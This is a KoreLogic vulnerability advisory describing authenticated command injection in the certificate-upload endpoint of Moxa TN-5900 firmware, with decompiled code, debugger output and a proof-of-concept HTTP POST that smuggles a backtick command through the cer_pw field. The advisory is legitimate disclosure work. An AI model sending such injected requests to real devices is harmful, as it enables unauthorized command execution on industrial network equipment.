Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
A user who has authenticated to the management web application is able to leverage a command injection vulnerability in the p12 processing code of the certificate management function web_CERMGMTUpload.
Technical Description
Following authentication, the webs_CERMGMTUpload API method
becomes accessible. This method takes a multi-part HTTP POST
request containing four parameters. The cer_pw parameter does
not properly neutralize special elements used in operating
system commands and therefore it is possible to include
encapsulated commands to be executed. In the request below,
the cer_pw parameter has been written such that when executed
by the operating system a zero byte file will appear in the
/tmp directory. See the Proof of Concept section.
The relevant pseudo-c for this API method is included below. The
websGetVar function is used to retrieve the cer_pw parameter and
copies the value into the pass variable. The opcode (mgmtmode)
is then compared to the number 2 and when true will prepare a
command to be passed to system using the sprintf function. When
preparing this command, the pass variable (cer_pw) is included
without prior first sanitizing the user input.
void web_CERMGMTUpload(longlong *param_1,undefined8 param_2,undefined8 param_3) {
...
__nptr = websGetVar(param_1,"mgmtmode",&DAT_120064f68);
opcode = atoi(__nptr);
__s = websGetVar(param_1,"cer_file",&DAT_120063dd0);
local_338 = websGetVar(param_1,"cer_name",&DAT_120063dd0);
if ((*local_338 == '\0') || (lVar1 = Ssys_CheckString(local_338), -1 < lVar1)) {
sVar2 = strlen(__s);
if (CONCAT44(extraout_v0_hi,sVar2) < 0x41) {
...
sVar4 = strlen(local_338);
if (CONCAT44(extraout_v0_hi_00,sVar4) < 0x41) {
...
if (opcode == 2) {
memset(pass,0,0x41);
__s = websGetVar(param_1,"cer_pw",&DAT_120063dd0);
strncpy(pass,__s,0x20);
...
}
...
__fd = open(inFile,0x102);
if (__fd < 0) {
...
}
else {
sVar3 = write(__fd,param_1[0x38],*(param_1 + 0x39));
...
else {
if (opcode == 2) {
outFile = FUN_120038e28(&local_159);
snprintf(cmd,0x100,
"openssl pkcs12 -in \"%s\" -out %s -passout pass:%s -password pass:%s",inFile
,outFile,pass,pass);
system(cmd);
...
}
...
}
Using a debugger we can see the command as it was programmatically created using our malicious input. This command is passed to the system function.
(gdb) x/25s $a0
0xfffbddb284: "openssl pkcs12 -in \"/mnt/log1/p12_file/test.p12\" -out /mnt/ramdisk/p12_tmpfile.pem -passout pass:`touch /tmp/korelogic` -password pass:`touch /tmp/korelogic`"
The file has been created.
# ls -la /tmp/korelogic
-rwxr-xr-x 1 root root 8072 Sep 23 20:30 korelogic
It should be noted that the cer_name is exploitable as well.
Mitigation and Remediation Recommendation
The vendor has released a patch which remediates the described vulnerability. Release notes are available at:
Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel) and Josh Hardin of KoreLogic, Inc.
Proof of Concept
POST /goform/web_CERMGMTUpload HTTP/1.1
Host: [redacted]:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
...
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266
Content-Length: 605
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="mgmtmode"
2
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="cer_file";
Content-Type: text/plain
korelogic
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="cer_name";
Content-Type: text/plain
test.p12
-----------------------------9051914041544843365972754266
Content-Disposition: form-data; name="cer_pw";
`touch /tmp/korelogic`
-----------------------------9051914041544843365972754266--
HTTP/1.1 200 OK
Server: GoAhead-Webs
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html
The contents of this advisory are copyright(c) 2022 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt
Disclosure Timeline
KoreLogic submits vulnerability details to Moxa.
Moxa acknowledges receipt and the intention to investigate.
Moxa notifies KoreLogic that a patch for this vulnerability is expected to be available in June 2021.
45 business days have elapsed since KoreLogic reported this vulnerability to the vendor.
KoreLogic requests update on the status of the proposed TN-5900 patch.
Moxa informs KoreLogic that the patch is expected to be released in mid-July 2021.
90 business days have elapsed since KoreLogic reported this vulnerability to the vendor.
Moxa informs KoreLogic that the patch is expected to be released in mid-August 2021.
150 business days have elapsed since KoreLogic reported this vulnerability to the vendor.
210 business days have elapsed since KoreLogic reported this vulnerability to the vendor.
Moxa notified KoreLogic that the patch is complete and ready for release..
Moxa public acknowledgement.
KoreLogic requests CVE from Mitre.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.